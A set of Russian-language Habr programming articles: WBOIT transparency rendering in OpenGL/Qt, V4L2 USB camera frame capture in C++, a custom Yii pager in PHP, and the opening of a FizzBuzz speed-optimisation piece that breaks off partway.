Когда на экране появляется несколько прозрачных объектов, цвет пикселя зависит от того, какой из них находится ближе к наблюдателю. Вот общеизвестная формула смешивания цветов для такого случая:
Для неё важен порядок расположения фрагментов: цвет ближнего фрагмента и его непрозрачность (opacity) обозначены как Cnear и *α*, а результирующий цвет всех фрагментов, что расположились за ним — как Cfar. Непрозрачность — это свойство, принимающее значения от 0 до 1, где 0 означает, что объект настолько прозрачен, что его не видно, а 1 — что он настолько непрозрачен, что *за ним* ничего не видно.
Чтобы использовать эту формулу, нужно сперва отсортировать фрагменты по глубине. Представьте, сколько головной боли с этим связано! В общем случае, сортировку нужно делать в каждом кадре. Если вы сортируете объекты, то некоторые объекты сложной формы придётся разрезать на куски и сортировать по глубине отрезанные части (в частности, для пересекающихся поверхностей это совершенно точно нужно будет делать). Если вы сортируете фрагменты, то сортировка будет происходить в шейдерах. Такой подход называется «Order-independent transparency» (OIT), и в нём используется связный список, хранящийся в памяти видеокарты. Предсказать, сколько памяти придётся выделить под этот список — практически нереально. А если памяти не хватит, на экране появятся артефакты.
Повезло тем, кто может контролировать, сколько полупрозрачных объектов размещается на сцене, и где они относительно друг друга находятся. Но если вы делаете САПР, то прозрачных объектов у вас будет столько, сколько захочет пользователь, и располагаться они будут как попало.
Теперь вы понимаете желание некоторых людей упростить себе жизнь и придумать формулу смешивания цветов, не требующую сортировки. Такая формула есть в статье, на которую я сослался вначале. Там даже есть несколько формул, но самая лучшая по мнению авторов (и по моему мнению тоже) — вот эта:
На скриншоте — группы полупрозрачных треугольников, расположенных в четыре слоя по глубине. Слева они отрендерены с использованием техники WBOIT. Справа — картинка, полученная с использованием формулы (1), классический блендинг цветов с учётом порядка расположения фрагментов. Далее буду называть это CODB (Classic order-dependent blending).
Перед тем, как начать рендеринг прозрачных объектов, мы должны отрендерить все непрозрачные. После этого прозрачные объекты рендерятся с тестом глубины, но без записи в буфер глубины (это делается так: `glEnable(GL_DEPTH_TEST); glDepthMask(GL_FALSE);`). То есть, вот что происходит в точке с некими экранными координатами (x, y): прозрачные фрагменты, оказавшиеся ближе непрозрачного, проходят тест глубины, независимо от того, как они располагаются по глубине относительно уже нарисованных прозрачных фрагментов, а прозрачные фрагменты, оказавшиеся дальше непрозрачного, не проходят тест глубины, и, соответственно, отбрасываются.
C0 в формуле (2) — это цвет непрозрачного фрагмента, поверх которого рисуются прозрачные фрагменты, которых у нас n штук, обозначенных индексами с 1 по n. Ci — это цвет i-го прозрачного фрагмента, *αi* — его непрозрачность.
Если присмотреться, то формула (2) немножко похожа на формулу (1). Если представить, что  — это Cnear, C0 — это Cfar, а  — это *α*, то это и будет 1-я формула, один в один. И правда,  — это взвешенное среднее цветов прозрачных фрагментов (по такой же формуле в механике определяется центр масс), оно сойдёт за цвет ближнего фрагмента Cnear. C0 — это цвет непрозрачного фрагмента, расположенного за всеми фрагментами, для которых мы посчитали это взвешенное среднее, и он сойдёт за Cfar. То есть мы заменили все прозрачные фрагменты одним “усреднённым” фрагментом и применили стандартную формулу смешивания цветов — формулу (1). Что же это за хитрая формула для *α*, которую нам предлагают авторы оригинальной статьи?
Это скалярная функция в n-мерном пространстве, так что вспомним дифференциальный анализ функций нескольких переменных. Учитывая что все *αi* принадлежат диапазону от 0 до 1, частная производная по любой из переменных всегда будет неотрицательной константой. Значит, opacity «усреднённого» фрагмента возрастает при увеличении opacity любого из прозрачных фрагментов, а это именно то, что нам надо. К тому же, она возрастает линейно.
Если непрозрачность какого-то фрагмента равна 0, то его вообще не видно, он не оказывает влияния на результирующий цвет.
Если непрозрачность хотя бы одного фрагмента равна 1, то *α* равно 1. То есть непрозрачный фрагмент становится невидим, что в общем-то хорошо. Только вот прозрачные фрагменты, расположенные за фрагментом с opacity=1, всё еще просвечивают через него и влияют на результирующий цвет:
Тут сверху лежит оранжевый треугольник, под ним зелёный, а под зелёным — серый и циановый, и всё это на чёрном фоне. У синего непрозрачность = 1, у всех остальных — 0,5. Картинка справа — это то, что должно быть. Как видите, WBOIT смотрится отвратительно. Единственное место, где проступает нормальный оранжевый цвет — это кромка зелёного треугольника, обведённая непрозрачной белой линией. Как я только что сказал, непрозрачный фрагмент невидим, если opacity прозрачного фрагмента равна 1.
Ещё лучше это видно вот здесь:
Оранжевый треугольник имеет непрозрачность 1, зелёный с отключённой прозрачностью просто рисуется вместе с непрозрачными объектами. Выглядит это так, как будто ЗЕЛЁНЫЙ треугольник просвечивает ОРАНЖЕВЫМ цветом через оранжевый треугольник.
Чтобы картинка выглядела достойно, проще всего не назначать объектам высокую непрозрачность. В своём рабочем проекте я не позволяю задавать opacity больше 0,5. Это 3D CAD, в котором объекты рисуются схематично, и особого реализма не требуется, так что там допустимо такое ограничение.
С низкими значениями непрозрачности картинки слева и справа смотрятся почти одинаково:
А с высокими они заметно различаются:
Вот так выглядит прозрачный многогранник:
У многогранника оранжевые боковые и зелёные горизонтальные грани. К сожалению, с первого взгляда это не поймёшь, т.е. картинка не выглядит убедительно. Там, где спереди оказывается оранжевая стенка, нужно больше оранжевого, и там, где зелёная — больше зелёного. Будет гораздо лучше рисовать грани одним цветом:
### WBOIT с учётом глубины
Чтобы хоть как-то возместить отсутствие сортировки по глубине, авторы статьи придумали несколько вариантов добавления глубины в формулу (2). Это делает реализацию сложнее, а результат — менее предсказуемым и зависящим от особенностей конкретной трёхмерной сцены. Я не стал углубляться в эту тему, так что кому интересно — предлагаю ознакомиться со статьёй.
Утверждается, что WBOIT иногда способен на то, чего не может классическая прозрачность с сортировкой. Например, вы рисуете дым как систему частиц, используя только две частицы — с тёмным и светлым дымом. Когда одна частица проходит через другую, классическое смешивание цветов с сортировкой даёт некрасивый результат — цвет дыма из светлого резко становится тёмным. В статье говорится, что WBOIT с учётом глубины позволяет добиться плавного перехода и выглядит правдоподобнее. То же можно сказать про моделирования меха и волос в виде тонких трубок.
### Код
Теперь о том, как реализовать формулу (2) на OpenGL. Код примера лежит на Гитхабе ([ссылка](https://github.com/belyakov-igor/WBOIT_tester)), и большая часть картинок в статье — оттуда. Можете собрать и поиграться с моими треугольничками. Используется фреймворк Qt.
Тем, кто только приступает к изучению рендеринга прозрачных объектов, рекомендую вот эти две статьи:
→ [Learn OpenGL. Урок 4.3 — Смешивание цветов](https://habr.com/ru/post/343096/)
→ [Алгоритм Order-Independent Transparency c использованием связных списков на Direct3D 11 и OpenGL 4](https://habr.com/ru/post/224003/)
Вторая, правда, не так важна для понимания этого материала, но первая обязательна к прочтению.
Чтобы вычислить формулу (2), нам понадобятся 2 дополнительных фреймбуфера, 3 multisample текстуры и рендербуфер, в который мы будем записывать глубину. В первую текстуру — colorTextureNT (NT означает non-transparent) — мы будем рендерить непрозрачные объекты. Она имеет тип GL\_RGB10\_A2. Вторая текстура (colorTexture) будет иметь тип GL\_RGBA16F; в первые 3 компонента этой текстуры мы будем записывать вот этот кусок формулы (2): , в четвёртый — . Ещё одна текстура типа GL\_R16 (alphaTexture) будет содержать .
Сначала надо создать эти объекты получить от OpenGL их идентификаторы:
```
f->glGenFramebuffers (1, &framebufferNT );
f->glGenTextures (1, &colorTextureNT );
f->glGenRenderbuffers(1, &depthRenderbuffer);
f->glGenFramebuffers(1, &framebuffer );
f->glGenTextures (1, &colorTexture);
f->glGenTextures (1, &alphaTexture);
```
Как я уже сказал, тут используется фреймворк Qt, и все вызовы OpenGL проходят через объект типа QOpenGLFunctions\_4\_5\_Core, который у меня везде обозначается как f.
Теперь следует выделить память:
```
f->glBindTexture(GL_TEXTURE_2D_MULTISAMPLE, colorTextureNT);
f->glTexImage2DMultisample( GL_TEXTURE_2D_MULTISAMPLE, numOfSamples,
GL_RGB16F, w, h, GL_TRUE );
f->glBindRenderbuffer(GL_RENDERBUFFER, depthRenderbuffer);
f->glRenderbufferStorageMultisample( GL_RENDERBUFFER, numOfSamples,
GL_DEPTH_COMPONENT, w, h );
f->glBindTexture(GL_TEXTURE_2D_MULTISAMPLE, colorTexture);
f->glTexImage2DMultisample( GL_TEXTURE_2D_MULTISAMPLE, numOfSamples,
GL_RGBA16F, w, h, GL_TRUE );
f->glBindTexture(GL_TEXTURE_2D_MULTISAMPLE, alphaTexture);
f->glTexImage2DMultisample( GL_TEXTURE_2D_MULTISAMPLE, numOfSamples,
GL_R16F, w, h, GL_TRUE );
```
И настроить фреймбуфферы:
```
f->glBindFramebuffer(GL_FRAMEBUFFER, framebufferNT);
f->glFramebufferTexture2D( GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0,
GL_TEXTURE_2D_MULTISAMPLE, colorTextureNT, 0
);
f->glFramebufferRenderbuffer( GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT,
GL_RENDERBUFFER, depthRenderbuffer
);
f->glBindFramebuffer(GL_FRAMEBUFFER, framebuffer);
f->glFramebufferTexture2D( GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0,
GL_TEXTURE_2D_MULTISAMPLE, colorTexture, 0
);
f->glFramebufferTexture2D( GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT1,
GL_TEXTURE_2D_MULTISAMPLE, alphaTexture, 0
);
GLenum attachments[2] = {GL_COLOR_ATTACHMENT0, GL_COLOR_ATTACHMENT1};
f->glDrawBuffers(2, attachments);
f->glFramebufferRenderbuffer( GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT,
GL_RENDERBUFFER, depthRenderbuffer
);
```
На втором проходе рендеринга вывод из фрагментного шейдера пойдёт сразу в две текстуры, и это надо явно указать с помощью glDrawBuffers.
Большая часть этого кода выполняется один раз, при старте программы. Код, выделяющий память под текстуры и рендербуфферы, вызывается при каждом изменении размера окна. Далее пойдёт код рендеринга, который вызывается каждый раз при перерисовке окна.
```
f->glBindFramebuffer(GL_FRAMEBUFFER, framebufferNT);
// ... код рендеринга ...
```
Только что мы нарисовали все непрозрачные объекты на текстуре colorTextureNT, а глубины записали в рендербуффер. Перед тем, как использовать тот же самый рендербуффер на следующем этапе рисования, надо убедиться, что туда уже записаны все глубины непрозрачных объектов. Для этого используется GL\_FRAMEBUFFER\_BARRIER\_BIT. После рендеринга прозрачных объектов мы вызовем функцию ApplyTextures(), которая запустит финальную стадию рендеринга, на которой фрагментный шейдер будет считывать данные из текстур colorTextureNT, colorTexture и alphaTexture, чтобы применить формулу (2). Текстуры к тому моменту должны быть полностью записаны, поэтому перед вызовом ApplyTextures() мы применяем GL\_TEXTURE\_FETCH\_BARRIER\_BIT.
```
static constexpr GLfloat clearColor[4] = { 0.0f, 0.0f, 0.0f, 0.0f };
static constexpr GLfloat clearAlpha = 1.0f;
f->glBindFramebuffer(GL_FRAMEBUFFER, framebuffer);
f->glClearBufferfv(GL_COLOR, 0, clearColor);
f->glClearBufferfv(GL_COLOR, 1, &clearAlpha);
f->glMemoryBarrier(GL_FRAMEBUFFER_BARRIER_BIT);
PrepareToTransparentRendering();
{
// ... код рендеринга ...
}
CleanupAfterTransparentRendering();
f->glMemoryBarrier(GL_TEXTURE_FETCH_BARRIER_BIT);
f->glBindFramebuffer(GL_FRAMEBUFFER, defaultFBO);
ApplyTextures();
```
defaultFBO — это фреймбуфер, через который мы выводим изображение на экран. В большинстве случаев это 0, но в Qt это QOpenGLWidget::defaultFramebufferObject().
При каждом вызове фрагментного шейдера у нас будет информация о цвете и непрозрачности текущего фрагмента. Но на выходе в текстуре colorTexture мы хотим получить сумму (а в текстуре alphaTexture — произведение) неких функций от этих величин. Для этого используется блендинг. Причём, коль скоро для первой текстуры мы вычисляем сумму, а для второй — произведение, настройки блендинга (glBlendFunc и glBlendEquation) для каждого аттачмента надо задавать отдельно.
Вот содержимое функции PrepareToTransparentRendering():
```
f->glEnable(GL_DEPTH_TEST); f->glDepthMask(GL_FALSE);
f->glDepthFunc(GL_LEQUAL);
f->glDisable(GL_CULL_FACE);
f->glEnable(GL_MULTISAMPLE);
f->glEnable(GL_BLEND);
f->glBlendFunci(0, GL_ONE, GL_ONE);
f->glBlendEquationi(0, GL_FUNC_ADD);
f->glBlendFunci(1, GL_DST_COLOR, GL_ZERO);
f->glBlendEquationi(1, GL_FUNC_ADD);
```
И содержимое функции CleanupAfterTransparentRendering():
```
f->glDepthMask(GL_TRUE);
f->glDisable(GL_BLEND);
```
В моём фрагментном шейдере непрозрачность обозначается буквой w. Произведение цвета на w и саму w мы выводим в один выходной параметр, а 1 – w — в другой. Для каждого выходного параметра задаётся layout qualifier в виде «location = X», где X — индекс элемента в массиве аттачментов, который мы в 3-м листинге передали функции glDrawBuffers (конкретно, выходной параметр с location = 0 отправляется в текстуру, привязанную к GL\_COLOR\_ATTACHMENT0, а параметр с location = 1 — в текстуру, привязанную к GL\_COLOR\_ATTACHMENT1). Те же самые числа используются в функциях glBlendFunci и glBlendEquationi, чтобы указать номер аттачмента, для которого мы устанавливаем параметры блендинга.
Фрагментный шейдер:
```
#version 450 core
in vec3 color;
layout (location = 0) out vec4 outData;
layout (location = 1) out float alpha;
layout (location = 2) uniform float w;
void main()
{
outData = vec4(w * color, w);
alpha = 1 - w;
}
```
В функции ApplyTextures() мы просто рисуем прямоугольник на всё окно. Фрагментный шейдер запрашивает данные всех сформированных нами текстур, используя текущие экранные координаты в качестве текстурных координат и текущий номер сэмпла (gl\_SampleID) в качестве номера сэмпла в multisample текстуре. Использование переменной gl\_SampleID в шейдере автоматически включает режим, когда фрагментный шейдер вызывается один раз для каждого сэмпла (в нормальных условиях он вызывается один раз для всего пикселя, а результат записывается во все сэмплы, что оказались внутри примитива).
В вершинном шейдере нет ничего примечательного:
```
#version 450 core
const vec2 p[4] = vec2[4](
vec2(-1, -1), vec2( 1, -1), vec2( 1, 1), vec2(-1, 1)
);
void main() { gl_Position = vec4(p[gl_VertexID], 0, 1); }
```
Фрагментный шейдер:
```
#version 450 core
out vec4 outColor;
layout (location = 0) uniform sampler2DMS colorTextureNT;
layout (location = 1) uniform sampler2DMS colorTexture;
layout (location = 2) uniform sampler2DMS alphaTexture;
void main() {
ivec2 upos = ivec2(gl_FragCoord.xy);
vec4 cc = texelFetch(colorTexture, upos, gl_SampleID);
vec3 sumOfColors = cc.rgb;
float sumOfWeights = cc.a;
vec3 colorNT = texelFetch(colorTextureNT, upos, gl_SampleID).rgb;
if (sumOfWeights == 0)
{ outColor = vec4(colorNT, 1.0); return; }
float alpha = 1 - texelFetch(alphaTexture, upos, gl_SampleID).r;
colorNT = sumOfColors / sumOfWeights * alpha +
colorNT * (1 - alpha);
outColor = vec4(colorNT, 1.0);
}
```
И наконец — содержимое функции ApplyTextures():
```
f->glActiveTexture(GL_TEXTURE0);
f->glBindTexture(GL_TEXTURE_2D_MULTISAMPLE, colorTextureNT);
f->glUniform1i(0, 0);
f->glActiveTexture(GL_TEXTURE1);
f->glBindTexture(GL_TEXTURE_2D_MULTISAMPLE, colorTexture);
f->glUniform1i(1, 1);
f->glActiveTexture(GL_TEXTURE2);
f->glBindTexture(GL_TEXTURE_2D_MULTISAMPLE, alphaTexture);
f->glUniform1i(2, 2);
f->glEnable(GL_MULTISAMPLE); f->glDisable(GL_DEPTH_TEST);
f->glDrawArrays(GL_TRIANGLE_FAN, 0, 4);
```
Ну и хорошо бы освободить OpenGL ресурсы после того как всё закончилось. У меня этот код вызывается в деструкторе моего OpenGL-виджета:
```
f->glDeleteFramebuffers (1, &framebufferNT);
f->glDeleteTextures (1, &colorTextureNT);
f->glDeleteRenderbuffers(1, &depthRenderbuffer);
f->glDeleteFramebuffers (1, &framebuffer);
f->glDeleteTextures (1, &colorTexture);
f->glDeleteTextures (1, &alphaTexture);
``` | https://habr.com/ru/post/457284/ | null | ru | null |
# Работа с usb видеокамерой в Linux. Часть 2
Привествую, Хабр!
Продолжаем цикл статей про программирование видеокамеры в Linux. В первой части [[1]](#part1), мы рассмотрели механизм открытия и считывания первичных параметров видеоустройства. Была написана простенькая утилита catvd. Сегодня расширим функционал нашей маленькой программы, но сначала надо написать обертку для функции ioctl.
**Код метода xioctl**
```
int videodevice::xioctl(int fd, int request, void *arg)
{
int r;
r = ioctl (fd, request, arg);
if(r == -1)
{
if (errno == EAGAIN)
return EAGAIN;
stringstream ss;
ss << "ioctl code " << request << " ";
errno_exit(ss.str());
}
return r;
}
```
Эта обертка позволяет прервать программу если была ошибка и показать сообщение.
Попробуем считать картинку с камеры и сохранить в файл.
**Код метода getFrame**
```
void videodevice::getFrame(string file_name)
{
initMMAP();
startCapturing();
long int i = 0;
for (;;)
{
if(readFrame(file_name))
break;
i++;
}
cout << "iter == " << i << endl;
stopCapturing();
freeMMAP();
}
```
метод readFrame — отвечает за чтение и обработку полученого изображения.
методы initMMAP(), freeMMAP() — создание/очистка буфера памяти устройства.
методы startCapturing(), stopCapturing() — включение/выключение режима streaming у видеоустройства. Наличие этих функций, у камеры, можно проверить флагом V4L2\_CAP\_STREAMING [[\*]](http://habrahabr.ru/post/211608/#capabilities).
Разберем метод initMMAP
**Код метода initMMAP**
```
void videodevice::initMMAP()
{
struct v4l2_requestbuffers req;
req.count = 1;
req.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
req.memory = V4L2_MEMORY_MMAP;
xioctl(fd, VIDIOC_REQBUFS, &req);
devbuffer = (buffer*) calloc(req.count, sizeof(*devbuffer));
struct v4l2_buffer buf;
memset(&buf, 0, sizeof(buf));
buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
buf.memory = V4L2_MEMORY_MMAP;
buf.index = 0;
xioctl(fd, VIDIOC_QUERYBUF, &buf);
devbuffer->length = buf.length;
devbuffer->start =
mmap(NULL,
buf.length,
PROT_READ | PROT_WRITE,
MAP_SHARED,
fd,
buf.m.offset);
if (devbuffer->start == MAP_FAILED)
errno_exit("mmap");
}
```
функция VIDIOC\_REQBUFS [[↓]](#reqbufs) позволяет проинициализировать буфер памяти внутри устройства. Структура v4l2\_requestbuffers задает параметры инициализации
```
struct v4l2_requestbuffers {
__u32 count; //количество буферов
__u32 type; //тип или цель использования
__u32 memory; //режим работы с памятью.
__u32 reserved[2]; //всегда в ноль
};
```
После того, как буфер был проинициализирован, его надо отобразить на область памяти (mapping).
Функция VIDIOC\_QUERYBUF [[↓]](#querybuf) позволяет считать параметры буфера, которые будут использоваться для создания memory-mapping области. Структура v4l2\_buffer большая, опишу необходимые поля:
```
struct v4l2_buffer {
//до выполнения VIDIOC_QUERYBUF устанавливаем следующие поля
__u32 index; // ноль или номер буфера (если v4l2_requestbuffers.cout > 1)
__u32 type; // тип (совпадает со значением v4l2_requestbuffers.type)
//после выполнения VIDIOC_QUERYBUF используем эти поля в качестве параметров для memory-mapping
union {
__u32 offset; // смещение буфера относительно начала памяти устройства
} m;
__u32 length; // размер буфера
};
```
системная функция mmap() [[3]](#mmap) позволяет отображать файл или область памяти устройств в оперативную память. Для использования mmap() необходимо подключить
```
```
Далее необходимо переключить камеру в режим захвата.
**Код метода startCapturing**
```
void videodevice::startCapturing()
{
struct v4l2_buffer buf;
memset(&buf, 0, sizeof(buf));
buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
buf.memory = V4L2_MEMORY_MMAP;
buf.index = 0;
xioctl(fd, VIDIOC_QBUF, &buf);
enum v4l2_buf_type type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
xioctl(fd, VIDIOC_STREAMON, &type);
}
```
Функция VIDIOC\_QBUF [[↓]](#qbuf) ставит буфер в очередь обработки драйвером устройства. Поля используются такие же, как и для VIDIOC\_REQBUFS или VIDIOC\_QUERYBUF.
Функция VIDIOC\_STREAMON[[↓]](#streamon) включает камеру в режим захвата.
Теперь камера включена и захватывает изображения. Но картинку еще надо получить.
**Код метода readFrame**
```
int videodevice::readFrame(string file_name)
{
struct v4l2_buffer buf;
buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
buf.memory = V4L2_MEMORY_MMAP;
if (xioctl(fd, VIDIOC_DQBUF, &buf) == EAGAIN)
return 0;
buffer *temp = devbuffer;
FILE *out_file = fopen(file_name.c_str(),"w");
fwrite(temp->start,temp->length,1,out_file);
fclose(out_file);
return 1;
}
```
Функция VIDIOC\_DQBUF[[↓]](#qbuf) освобождает буфер из очереди обработки драйвера. В результате можем получить ошибку EAGAIN. Ничего опасного в этом нет, надо еще раз вызвать VIDIOC\_DQBUF. Это происходит потому, что драйвер еще обрабатывает запрос и не может освободить буфер из очереди. При успешном выполнении этой функции, мы получаем в «руки» нашу картинку. В самом начале статьи, в коде был добавлен итератор. Итератор позволяет проследить сколько итераций вхолостую проходит цикл до успешного выполнения VIDIOC\_DQBUF.
Компиляция
```
$ cmake .
$ make
```
Вывод программы следующий
```
$./getimage
Open device /dev/video0
Init mmap
Start capturing
read frame from buffer and write to file
iter == 831013
stop Capturing
free mmap
Close device /dev/video0
```
Из «iter == 831013» видно — картинка скидывается в буфер довольно долго. Для ускорения можно использовать несколько буферов и вытаскивать картинку с первого свободного и т.д.
Сегодня была рассмотрена инициализация буфера памяти и чтения из него картинки. Изображение сохраняется в raw формате. Можно открыть программой Shotwell. В следующей статье будет рассмотрен вывод изображению в текстуру (через SDL2), затронуты некоторые форматы изображения и настройки камеры.
Ресурсы используемые в статье:
1. [Работа с usb видеокамерой в Linux. Часть 1](http://habrahabr.ru/post/211608/)
2. [video for Linux API](http://linuxtv.org/downloads/v4l-dvb-apis/index.html)
3. [подробнее про mmap()](http://man7.org/linux/man-pages/man2/mmap.2.html)
Ссылки на используемые функции:
* [VIDIOC\_REQBUFS](http://linuxtv.org/downloads/v4l-dvb-apis/vidioc-reqbufs.html)
* [VIDIOC\_QUERYBUF](http://linuxtv.org/downloads/v4l-dvb-apis/vidioc-querybuf.html)
* [VIDIOC\_QBUF, VIDIOC\_DQBUF](http://linuxtv.org/downloads/v4l-dvb-apis/vidioc-qbuf.html)
* [VIDIOC\_STREAMON, VIDIOC\_STREAMOFF](http://linuxtv.org/downloads/v4l-dvb-apis/vidioc-streamon.html)
[Исходный код](https://github.com/rsv91/v4linux_lessons/tree/master/lesson2) | https://habr.com/ru/post/212531/ | null | ru | null |
# Удобный «паджинатор»
Некоторое время назад озадачился поиском решения, которое позволило бы заменить стандартный «паджинатор» (CLinkPager) Yii на такой, который бы вместо номеров страниц писал что-то более внятное. Скажем, первые символы значений полей на последующих страницах. Не нашел и решил написать свой.
Крайне неудобно переключаться между нумерованными страницами, скажем, в списке пользователей. Особенно, когда список большой. Каждое переключение при поиске пользователя на 5-10 страниц, как «гадание на кофейной гуще». То перескочишь нужного пользователя, то наоборот слишком осторожничаешь и не дойдешь. Конечно, поиск помогает, но только тогда, когда точно знаешь фамилию или иные атрибуты. Даже знание имени не помогает, т.к. разных Саш, Маш, Даш, Вань может быть в таблице десятки!
Поиск готового решения, как я написал выше, ничего не дал. Может плохо искал, исправьте, если не прав.
#### Задача
Пришлось изучать строение [CLinkPager](http://www.yiiframework.com/doc/api/1.1/CLinkPager) и писать свой класс «паджинатора».
Требования к нему были простые:
* отображение значений, а не номеров страниц
* отображение значений целиком или фрагмент
* отображение значений только определенных полей.
Отображение значений, а не номеров страниц — означает, что нужно отобразить первое значение поля каждой страницы. Иными словами, значение поля записи текущей страницы, потом значение поля записи следующей страницы (со смещением равным размеру страницы) и т.д.
Отображение значений целиком или фрагмент — означает, что вывод, например, целой фамилии в «паджинатор» неудобно. Куда удобнее вывести, скажем, первую букву, а лучше две, в общем, столько, сколько будет нужно.
Отображение значений только определенных полей — означает, что выводить в «паджинатор» кусочки значений полей типа число или дата удобства не добавит, хотя, кому как. Поэтому, надо указывать список полей, значения которых будут отображаться в «паджинаторе», а для остальных показывать обычные номера страниц.
#### Решение
Выяснил, что за отрисовку кнопок отвечает функция createPageButtons() класса CLinkPager. Перекрыть выборочно код создания тех или иных кнопок нельзя, поэтому решил унаследовать класс и дополнить код.
Интересно то, что базовый класс CLinkPager получается универсальным как бы «сам по себе» для любого провайдера данных. Мне же пришлось обрабатывать два класса провайдера данных: [CActiveDataProvider](http://www.yiiframework.com/doc/api/1.1/CActiveDataProvider), [CArrayDataProvider](http://www.yiiframework.com/doc/api/1.1/CArrayDataProvider). Каждый отдельно.
При работе с CActiveDataProvider получение значений с каждой страницы получаю с помощью offset:
```
if ($this->owner->dataProvider instanceof CActiveDataProvider)
{
$pagesize = $this->owner->dataProvider->pagination->pagesize;
$criteria = $this->owner->dataProvider->criteria;
$this->owner->dataProvider->sort->applyOrder($criteria);
$criteria->limit = 1;
for($i=$beginPage;$i<=$endPage;++$i)
{
$criteria->offset = $i*$pagesize;
$m = $this->owner->dataProvider->model->find($criteria);
$buttons[]=$this->createPageButton(is_null($this->length) ? $m->{$field} : mb_substr($m->{$field}, 0, $this->length, 'utf-8'), $i,$this->internalPageCssClass,false,$i==$currentPage);
}
}
```
При работе с CArrayDataProvider получение значений с каждой страницы получаю по индексу:
```
if ($this->owner->dataProvider instanceof CArrayDataProvider)
{
$pagesize = $this->owner->dataProvider->pagination->pagesize;
$data = $this->owner->dataProvider->rawData;
for($i=$beginPage;$i<=$endPage;++$i)
{
$m = $data[$i*$pagesize];
$buttons[]=$this->createPageButton(is_null($this->length) ? $m[$field] : mb_substr($m[$field], 0, $this->length, 'utf-8'), $i,$this->internalPageCssClass,false,$i==$currentPage);
}
}
```
В классе объявил две переменные:
fields — массив имен полей для которых должны отображаться значения, а не номера страниц;
length — длина обрезки значения, если null, то целиком.
Использовать класс, например, в CGridView можно так:
```
'pager'=>array(
'class' => 'AlxdTitlePager',
'fields'=>array('lastname','firstname','middlename','email'),
'length'=>'2',
'maxButtonCount'=>10,
'firstPageLabel'=>'<<',
'header'=>'',
'hiddenPageCssClass'=>'disabled',
'lastPageLabel'=>'>>',
'nextPageLabel'=>'>',
'selectedPageCssClass'=>'active',
'prevPageLabel'=>'<',
'htmlOptions'=>array('class'=>'pagination')
)
```
В общем, немного обкатав код решил им поделиться. Кому интересно, может получить исходный код моего класса [AlxdTitlePager](https://github.com/Alxdhere/AlxdTitlePager) безвозмездно. | https://habr.com/ru/post/235579/ | null | ru | null |
# Продолжаем разгонять FizzBuzz
После написания [первой статьи про FizzBuzz](https://habr.com/ru/post/540136/) (которая неожиданно для меня стала выбором редакции на Технотексте 2021) у меня появлялись мысли о том, что можно бы еще ускорить, но все время было не до того. И тут мне прилетает [перчатка](https://habr.com/ru/post/682080/).
Так что пришлось расчехлить верный GCC, чтобы помериться кодом с [@ChePeter](/users/chepeter).
Пара замечаний перед тем, как окунуть руки в код:
* [@ChePeter](/users/chepeter) сравнивал быстродействие своего решения с не самым быстрым моим решением. Но, как я понял, на i5-9400 нет поддержки [BMI1](https://en.wikipedia.org/wiki/X86_Bit_manipulation_instruction_set#BMI1_(Bit_Manipulation_Instruction_Set_1), поэтому вариант customprint2 действительно самый быстрый из тех, которые работают на этом процессоре
* код от "пенсионера" заставил вспомнить выражение из 1983 года: "[The determined Real Programmer can write FORTRAN programs in any language](https://www.pbm.com/~lindahl/real.programmers.html)". Могу только сказать, что такой код вряд ли пройдет ревью
* “Ну и распараллеливать тут нечего, создание потоков съест больше времени процессора, чем собственно вычисления” – я полностью не согласен с этим утверждением. Как раз эта задача довольно хорошо параллелится, и в случае моего предыдущего захода многопоточность сразу дала прирост в более чем в 2.5 раза
Задача остается прежняя, но добавляется ограничение – не использовать интринсики. Код “пенсионера” на моем компьютере (вывод перенаправлен в `/dev/null`) отрабатывает за 2.337 сек, значит это время мне надо побить. Но на самом деле я хочу “влезть” в секунду – в прошлый раз мне не хватило каких-то 51 миллисекунд. Но тогда у меня были интринсики, сейчас попробую обойтись без них.
Поскольку интринсики исключены, переиспользование буфера становится не столь эффективным, то есть будем собирать буфер каждый раз с нуля. Но и тут есть, где разгуляться.
Оптимизация переделки числа в строку
------------------------------------
В предыдущем варианте я использовал свой аналог функции `itoa`, и она в цикле делила число на 10. Цикл – плохо, деление – плохо, выкидываем на фиг и то, и другое, заменяем lookup таблицей. Поскольку у нас есть ограничение в миллиард (на самом деле 999999990, как самое больше кратное 15 число до миллиарда), нам нужно уметь работать с 9-значными числами, таблица в миллиард 10-байтных строк будет огромная, не годится. Тогда можно делить число на две части, в этом случае хватает таблицы для 5-значных чисел, то есть 100000 6-байтных строк, это уже терпимо, но еще не очень. Однако, если мы будет за один проход обрабатывать не 15 чисел, а 30, то последняя цифра числа будет определяться его порядковым номером в 30-числовой серии, и тогда нам достаточно переводить в строку 8-значное число, а раз мы делим его на две части, то это будет два lookup’а по таблице из 10000. А поскольку каждая часть у нас получается 4 байта, нам удобно хранить их не как строки, а как 32-битные `int`'ы, и это нам впоследствии пригодится. Получаем таблицу в 40K, которая отлично влезает в любой кэш, значит можно рассчитывать, что поиск по такой таблице будет летать.
Благодаря тому, что последнюю цифру числа нам определять не надо, а серия у нас из 30 чисел, поиск по таблице нужно делать только 3 раза за серию, когда переключаются десятки. Приятный побочный эффект. К тому же мы можем почти полностью избавиться от деления – мы просто инкрементируем младшую часть числа, и проверяем, не надо ли сделать перенос. Одним выстрелом уложим целое стадо (стаю? косяк?) зайцев.
Снижение числа вызовов функций
------------------------------
В предыдущих версиях FizzBuzz довольно активно использовались функции стандартной библиотеки, и в первую очередь `memcpy()`. Я уверен, что `memcpy()` работает очень быстро и использует доступные векторные инструкции, но в нашей задаче надо постоянно копировать небольшие буферы – от 4 до 10 байт, что можно спокойно уложить в пару инструкций присваивания вместо того, чтобы вызывать функцию. Поскольку C не позволяет присваивать массивы, нужно все буферы переделать в `int`’ы фиксированного размера. Тут, конечно, создает проблемы little endian на x86, придется очень сильно думать над порядком байтов в этих "числах", но оно того стоит.
Разные типы worker’ов
---------------------
